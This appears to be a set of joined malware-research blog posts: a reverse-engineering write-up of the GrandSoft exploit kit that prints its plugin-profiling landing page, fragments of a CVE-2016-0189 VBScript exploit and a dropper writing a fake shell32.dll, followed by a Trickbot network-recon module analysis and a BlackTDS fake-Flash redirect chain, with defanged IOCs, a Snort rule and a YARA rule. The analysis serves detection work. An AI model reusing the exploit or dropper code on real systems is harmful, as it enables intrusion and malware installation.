I. Internals of GrandSoft Landing Page: Main loop
The Exploit Kit landing page is unofsucated and contains the key main loop searching for plugin version related to the following plugins:
 A. Java
 B. Flash
 C. Silverlight
 D. AdobeReader

1
2
3
4
5
PluginDetect.getVersion("A");  
var verJ = PluginDetect.getVersion("Java");
var verF = PluginDetect.getVersion("flash");
var verS = PluginDetect.getVersion("silverlight");
var verPDF = PluginDetect.getVersion("adobereader");

Once the EK obtains the version it oputlates a UR path appending it to the var “srcOfScript” and concatenats to the string /getversionpd/. Notably, if the EK is unable to profile some of the plugins it generats the string “null.” Finally, the script is added to the iframe object that redirects to the payload retrieval function.

1
2
3
var srcOfScript = "/getversionpd/"+verJ+"/"+verF+"/"+verS+"/"+verPDF;

document.write("<iframe src='"+srcOfScript+"'>");

Notably, the observed landing page contained a unique name identifying the redirect as appending the command “PluginDetect” and “998” forming the request. It stores the request as the variable “uniquename.”

1
2
3
4
         uniqueName: function() 
{
return j.name + "998"
}

II. “PluginDetect” version
The key function that is leveraged across the EK functionality is its “PluginDetect” one with version “0.9.1”The functions populates a list of variables as “installed,” “version,” “version0,” “getVersionDone,” and  “pluginName” that are subsequently populated via the script functionality.

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function() {
var j = {
version: "0.9.1",
name: "PluginDetect",
addPlugin: function(p, q) {
if (p && j.isString(p) && q && j.isFunc(q.getVersion)) {
p = p.replace(/\s/g, "").toLowerCase();
j.Plugins[p] = q;
if (!j.isDefined(q.getVersionDone)) {
q.installed = null;
q.version = null;
q.version0 = null;
q.getVersionDone = null;
q.pluginName = p;
}
}
},

III. detectPlatform
Notably, the Kit profiles platforms that is used to run the malware via grabbing and parasing “navigator.platform” value for Win, Mac, Linux, FreeBSD, iPhone, iPod, iPad, Win.*CE, Win.*Mobile, Pocket\\s*PC.

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
detectPlatform: function() {
var r = this,
q, p = window.navigator ? navigator.platform || "" : "";
j.OS = 100;
if (p) {
var s = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
for (q = s.length - 2; q >= 0; q = q - 2) {
if (s[q] && new RegExp(s[q], "i").test(p)) {
j.OS = s[q + 1];
break
}
}
}
}

IV. browser
GrandSoft also profiles very specific browser versions via two core functions “detectIE” and “detectNonIE.”
A. detectIE

detectIE function is implemented via grabbing and parsing values “window.navigator” and “navigator.userAgent” looking “MSIE” values.
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
            detectIE: function() {
var r = this,
u = document,
t, q, v = window.navigator ? navigator.userAgent || "" : "",
w, p, y;
r.ActiveXFilteringEnabled = !1;
r.ActiveXEnabled = !1;
...
q = u.documentMode;
try {
u.documentMode = ""
} catch (s) {}
r.isIE = r.ActiveXEnabled;
r.isIE = r.isIE || j.isNum(u.documentMode) || new Function("return/*@cc_on!@*/!1")();
try {
u.documentMode = q
} catch (s) {}
r.verIE = null;
if (r.isIE) {
r.verIE = (j.isNum(u.documentMode) && u.documentMode >= 7 ? u.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v) ? parseFloat(RegExp.$1, 10) : 7)
}
},

B. browser.detectNonIE
The implementation of “detectNonIE” relies on parsing user agent strings such as “Gecko,” “rv”, “OPR|Opera”, “Edge”, “Chrome|CriOS”, and “Apple|Safari.”

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    detectNonIE: function() {
var q = this,
p = 0,
t = window.navigator ? navigator : {},
s = q.isIE ? "" : t.userAgent || "",
u = t.vendor || "",
r = t.product || "";
q.isGecko = !p && (/Gecko/i).test(r) && (/Gecko\s*\/\s*\d/i).test(s);
p = p || q.isGecko;
q.verGecko = q.isGecko ? j.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(s) ? RegExp.$1 : "0.9") : null;
q.isOpera = !p && (/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(s);
p = p || q.isOpera;
q.verOpera = q.isOpera ? j.formatNum(RegExp.$2) : null;
q.isEdge = !p && (/(Edge)\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isEdge;
q.verEdgeHTML = q.isEdge ? j.formatNum(RegExp.$2) : null;
q.isChrome = !p && (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isChrome;
q.verChrome = q.isChrome ? j.formatNum(RegExp.$2) : null;
q.isSafari = !p && ((/Apple/i).test(u) || !u) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isSafari;
q.verSafari = q.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(s) ? j.formatNum(RegExp.$1) : null;
},

V. addPlugin
After it grabs all the values, the landing page contains logic to populate and profile 4 different plugins such as “flash,” “adobereader,” “silverlight,” and “java.” Some of the core shortened functions of the function “addPlugin” runs and variables are listed below.
A. j.addPlugin(“flash”, e)

 1
2
3
4
5
6
7
8
9
10
11
12
    var e = {
mimeType: "application/x-shockwave-flash",
setPluginStatus: function(t, q, p) {
var s = this,
r;
s.installed = q ? 1 : (t ? 0 : -1);
s.precision = p;
s.version = j.formatNum(q);
r = s.installed == -1 || s.instance.version;
r = r || s.axo.version;
s.getVersionDone = r ? 1 : 0;
},

B. j.addPlugin(“adobereader”, c)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var c = {
OTF: null,
setPluginStatus: function() {
var p = this,
B = p.OTF,
v = p.nav.detected,
x = p.nav.version,
z = p.nav.precision,
C = z,
u = x,
s = v > 0;
var H = p.axo.detected,
r = p.axo.version,
w = p.axo.precision,
D = p.doc.detected,
G = p.doc.version,
t = p.doc.precision,
E = p.doc2.detected,
F = p.doc2.version,
y = p.doc2.precision;

C. j.addPlugin(“silverlight”, h)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var h = {
getVersion: function() {
var r = this,
p = null,
q = 0;
if ((!q || j.dbug) && r.nav.query().installed) {
q = 1
}
if ((!p || j.dbug) && r.nav.query().version) {
p = r.nav.version
}
if ((!q || j.dbug) && r.axo.query().installed) {
q = 1
}
if ((!p || j.dbug) && r.axo.query().version) {
p = r.axo.version
}
r.version = j.formatNum(p);
r.installed = p ? 1 : (q ? 0 : -1)
}

D. j.addPlugin(“java”, a)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    var a = {
Property_names: [],
Property_values: [],
Property_values_lock: [],
JAVATOJSBRIDGE: 0,
JSTOJAVABRIDGE: 1,
mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
mimeType_dummy: "application/dummymimejavaapplet",
classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",

pluginObj: 0
},
OTF: null,
getVerifyTagsDefault: function() {
return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
}

VI. Exploit VBS CVE-2016-0189 payload 
(Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null//null)

A. Exploit vulnerability
The exploit is identical to the available version on Github leveraging hex-encoded “shell32.” The trigger exploit function is called “SmuggleFag. ” The function resizes the array and overlap freed array area with the exploit string.
The GrandSoft EK example of the array exploit building function is as follows:
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Dim aw 
Dim T9lJDdQHhgiB3
Dim lunnga(32)
Dim G0tAyknVP4
Dim y(32)
Dim x0lIEBoNEzX5
k1 = 1
Dim O4EiqKng6
ryririririiriririrooror = 1999 + k1
Dim T5shDvBvweXg7
sddddddddddddddddddddd = "%u4141"
Dim W5mhmePuc8
a9sddddddddddddddddddddad = sddddddddddddddddddddd & sddddddddddddddddddddd

k3 = 32
Dim c7vztnBkf10
fix3 = a9sddddddddddddddddddddad & sddddddddddddddddddddd
Dim u9zxrNOt11
zerofix = "%u0000"
Dim J1mVWOQyTRn12
trifix = zerofix & zerofix & zerofix
Dim f4HnLPliWAsQ13
d = a9sddddddddddddddddddddad & "%u0016" & fix3 & "%u4242%u4242"
F6fIXnZEvCA = "For Each G4xdz In U6kBzX End Function While Not Z7cvb.A9BFC "
b = String(ryririririiriririrooror*k3, "D")
Dim G8GGmkKrCPM15
c = d & b
Dim J9oImLEJe16
x = UnEscape(c)

B. URI Path download of encoded payload from path

C. cmdrun script
Instead of downloading any additional code, the GrandSoft EK simple relies on building the hex-encoded shell32 to %TEMP% (GetSpecialFolder(2)) directory and retrieving and decoding it subsequently.
The relevant code is as follows:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
For i = 1 to Len(hexDial) Step 2 
dlltxt = dlltxt & Chr("&H"&Mid(hexDial, i,2))
Next
Dim i8oKFQXWobb134
Dim N5TmRtvl135

T7dhDuELNcP = " K4fCC = G6WdxBS & Trim(x1OfSy.h3WPqdH()) "
Set c=CreateObject("Scripting.FileSystemObject")
Dim b7osNLBJ137
fttttttttttttttttttttttttttttttt=c.GetSpecialFolder(2)
Dim a4scxQTEDc138
fake32=ttttttttttttttttttttttttttttttt&"\\System32"
Dim U8PvDAdZk139
Dim R0tKOXofLfBm140
If Not c.FolderExists(fake32) Then
Dim s6toCqOQGfJ141
c.CreateFolder(fake32)
Dim e3LXQLVyimNX142
End If
Dim J8pKzTbSOxb143
Dim H5uTerik144
Dim R7PwLxmMpS145
Dim u7TTVOsNdn146
fakedll = c.BuildPath(fake32,"shell32.dll")
Set b=c.CreateTextFile(fakedll)
b.Write "a1"
b.Close
Set b=c.CreateTextFile(fakedll)
b.Write dlltxt
b.Close

Set w=CreateObject("WScript.Shell")
Dim x9vACiVeCR155
w.CurrentDirectory=fttttttttttttttttttttttttttttttt
Dim Z7pMtTvMScyV156
fullCmdRun = cmdRun & fullPath
Dim l5dodqMT157
oldroot=w.Environment("Process").Item("SystemRoot")
Dim H4mQFgFAefUU158
w.Environment("Process").Item("SystemRoot")=ttttttttttttttttttttttttttttttt
Dim C2JTzxJrNXf159
w.Environment("Process").Item("SysFilename")= fullCmdRun
Dim d5ehKWvE160
Set sh = CreateObject("Shell.Application")

VII. Traffic chain
1. BlackTDS
2. GrandSoft EK Landing
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/entourage
3. GrandSoft EK CVE-2016-0189 Exploit
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null//null
4. GrandSoft EK Encoded Payload
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/2/[0-9]{8}
5. Payload Location
Domain: hxxp://80[.]211[.]10[.]121/downloads/cl[.]exe
VIII. Snort Rule:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”Possible GrandSoft EK exploit serve alert”; flow:established,to_server; http_uri; content:”/getversionpd/”; http_uri; content:”/”; http_uri; content:”/”; http_uri; content:”/”; http_uri; reference:url,http://www.vkremez.com/2018/04/lets-learn-in-depth-reversing-of.html; classtype:Exploit-activity; rev:1;)

Let’s Learn: Trickbot Implements Network Collector Module Leveraging CMD, WMI & LDAP

Goal: Reverse and document the latest module “network64/32Dll,” leveraged by the notorious Trickbot banking malware gang.

Decoded module hash “network64Dll”aeb08b0651bc8a13dcf5e5f6c0d482f8
Decoded config in “network64Dll_configs:

Background:

https://platform.twitter.com/widgets.js Assessment

While reviewing Twitter posts related to Trickbot malware, I was alerted by a few researchers @Ring0x0 and @v0id_hunter to the new module dropped by the Trickbot gang “network64/32Dll.” This specific module appears to be one single harvester of all possible network victim information from running commands such as “ipconfig /all” and “nltest /domain_trusts /all_trusts” to WMI Query Language (WQL) queries such as “SELECT * FROM Win32_OperatingSystem” to lightweight directory access protocol (LDAP) queries. Notably, the gang leverages “nltest” commands to establish trust relationship between between a compromised workstation and its possible domain before quering LDAP. This is not the first time this gang leverages LDAP; they also developer a DomainGrabber module specifically to harvest sensitive domain controller information, as detailed earlier.
This tiny 24 KB module DLL, compiled on Friday March 30, 08:52:12 2018 UTC, is originally called “dll[.]dll.” The module itself consists of only 32 functions.

Possible Attack Methodology

The module is likely used by the gang to expand their access to victim networks possibly identifying high-value corporate domains that they can exploit further either via their “tab” module implementing its ETERNALROMANCE exploit implementation, paired with Mimikatz and/or establish deeper network persistence before they deploy additional malware.
The decoded Trickbot “network64Dll” module contains the usual Trickbot export functions:

  • Control 
  • FreeBuffer
  • Release
  • Start
The module framework is as follows:
I. Network Collector Module
II. Network Communication 
III. Yara rule
I.  Network Collector Module

A. ***PROCESS LIST***
Collects all processes via CreatoolHelp32Snapshot iterating through running processes.
B. . ***SYSTEMINFO***
The list of queried WMQ is based from this expression:
  • SELECT * FROM Win32_OperatingSystem
C. CMD-based calls
The list of all simple command leveraged by the gang:
  • ipconfig /all
  • net config workstation
  • net view /all
  • net view /all /domain
  • nltest /domain_trusts
  • nltest /domain_trusts /all_trusts
D.  LDAP network and domain queries


The list of some of the grouped LDAP queries:
a. ***LOCAL MACHINE DATA***
  • User name
  • Computer name
  • Site name
  • Domain shortname
  • Domain name
  • Forest name
  • Domain controller
  • Forest trees
b. ***COMPUTERS IN FOREST***
  • Name
  • Full name
  • Description
  • Operating System
  • IP-addres
c. ***USERS IN FOREST***
  • E-mail
  • Comment
  • Description
  • Name
d. ***COMPUTERS IN DOMAIN***
  • Name
  • Full name
  • Description
  • Operating System
  • IP-addres
e. ***USERS IN DOMAIN***
  • E-mail
  • Comment
  • Description
  • Name
II. Network Communication

Part of the export “Control” function, the module forms and communicates to the next-layer network via the module network path ending in …///90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:
A. Content-Disposition: form-data; name=”proclist
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}
B. Content-Disposition: form-data; name=”sysinfo
C. Content-Type: multipart/form-data; boundary=Arasfjasu7

The unique value “Arasfjasu7″ appears to be a marker/separator specifically for the LDAP query collection upload to split the harvested information. Thanks to @Ring0x0  for the share.
III. YARA RULE
rule crime_trickbot_network_module_in_memory {
meta:
description = “Detects Trickbot network module in memory”
author = “@VK_Intel”
reference = “Detects unpacked Trickbot network64Dll”
date = “2018-04-02”
hash = “0df586aa0334dcbe047d24ce859d00e537fdb5e0ca41886dab27479b6fc61ba6”
strings:
$s0 = “***PROCESS LIST***” fullword wide
$s1 = “(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))” fullword wide
$s2 = “***USERS IN DOMAIN***” fullword wide
$s3 = “Operating System: %ls” fullword wide
$s4 = “yesyes<conf ctl=\"SetCon" ascii
$s5 = “Content-Length: %lu” fullword wide
$s6 = “Boot Device – %ls” fullword wide
$s7 = “Serial Number – %ls” fullword wide
$s8 = “Content-Disposition: form-data; name=\”proclist\”” fullword ascii
$s9 = “Content-Disposition: form-data; name=\”sysinfo\”” fullword ascii
$s10 = “Product Type – Server” fullword wide
$s11 = “***SYSTEMINFO***” fullword wide
$s12 = “OS Version – %ls” fullword wide
$s13 = “(&(objectcategory=person)(samaccountname=*))” fullword wide
$s14 = “Product Type – Domain Controller” fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 70KB and 12 of ($s*)
}

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}

Malware Traffic Internals: BlackTDS Social Engineering Drive-By Leads to Fake "Adobe Flash Player"

Goal: Review and document latest BlackTDS traffic distribution leading to fake Adobe Flash Player and its social engineering theme.

Background

https://platform.twitter.com/widgets.js Traffic chain

I. BlackTDS domain redirect hxxp://smarttraffics[.]gq:

html, body { margin: 0; padding: 0; height : 100%; }

<span style="visibility: hidden“><a href="/insert“><VALUE<a href="/register“>
II. Popunder domain redirect using inser /register with hidden visibility.
hxxp://popcash[.]net/world/go/162193/360683
III. Popunder redirect
hxxp://www[.]thegreatfreesystemosforcontenting[.]date/?pcl=&subid=
IV. Fake “Adobe Flash Player” adware redirect:
Domain: hxxp://24newsoft[.]theonlygoodplacecontentsafeup[.]download/?pcl=&subid=&v_id=

V. Fake “Adobe Flash Player” adware download:
Domain: hxxp://www.bestrepositorytours[.]com/

    Addendum: Indicators of Compromise (IOCs):
    Domain:

    • Domain: hxxp://smarttraffics[.]gq
    Popunder:

    • Domain: hxxp://popcash[.]net/world/go/162193/360683
    Popunder redirect:
    • Domain: hxxp://www[.]thegreatfreesystemosforcontenting[.]date/?pcl=&subid=
    Fake Adobe Flash Player Adware Redirect:
    • Domain: hxxp://24newsoft[.]theonlygoodplacecontentsafeup[.]download/?pcl=&subid=&v_id=
    Fake Adobe Flash Player Adware Download:
    • Domain: hxxp://www.bestrepositorytours[.]com/
    Fake Adobe Flash Player Adware:
    • MD5: 69708785506cf581ea5f81725bdb849b
    Update (April 3, 2018): Edited domain referrer to hxxp://smarttraffics[.]gq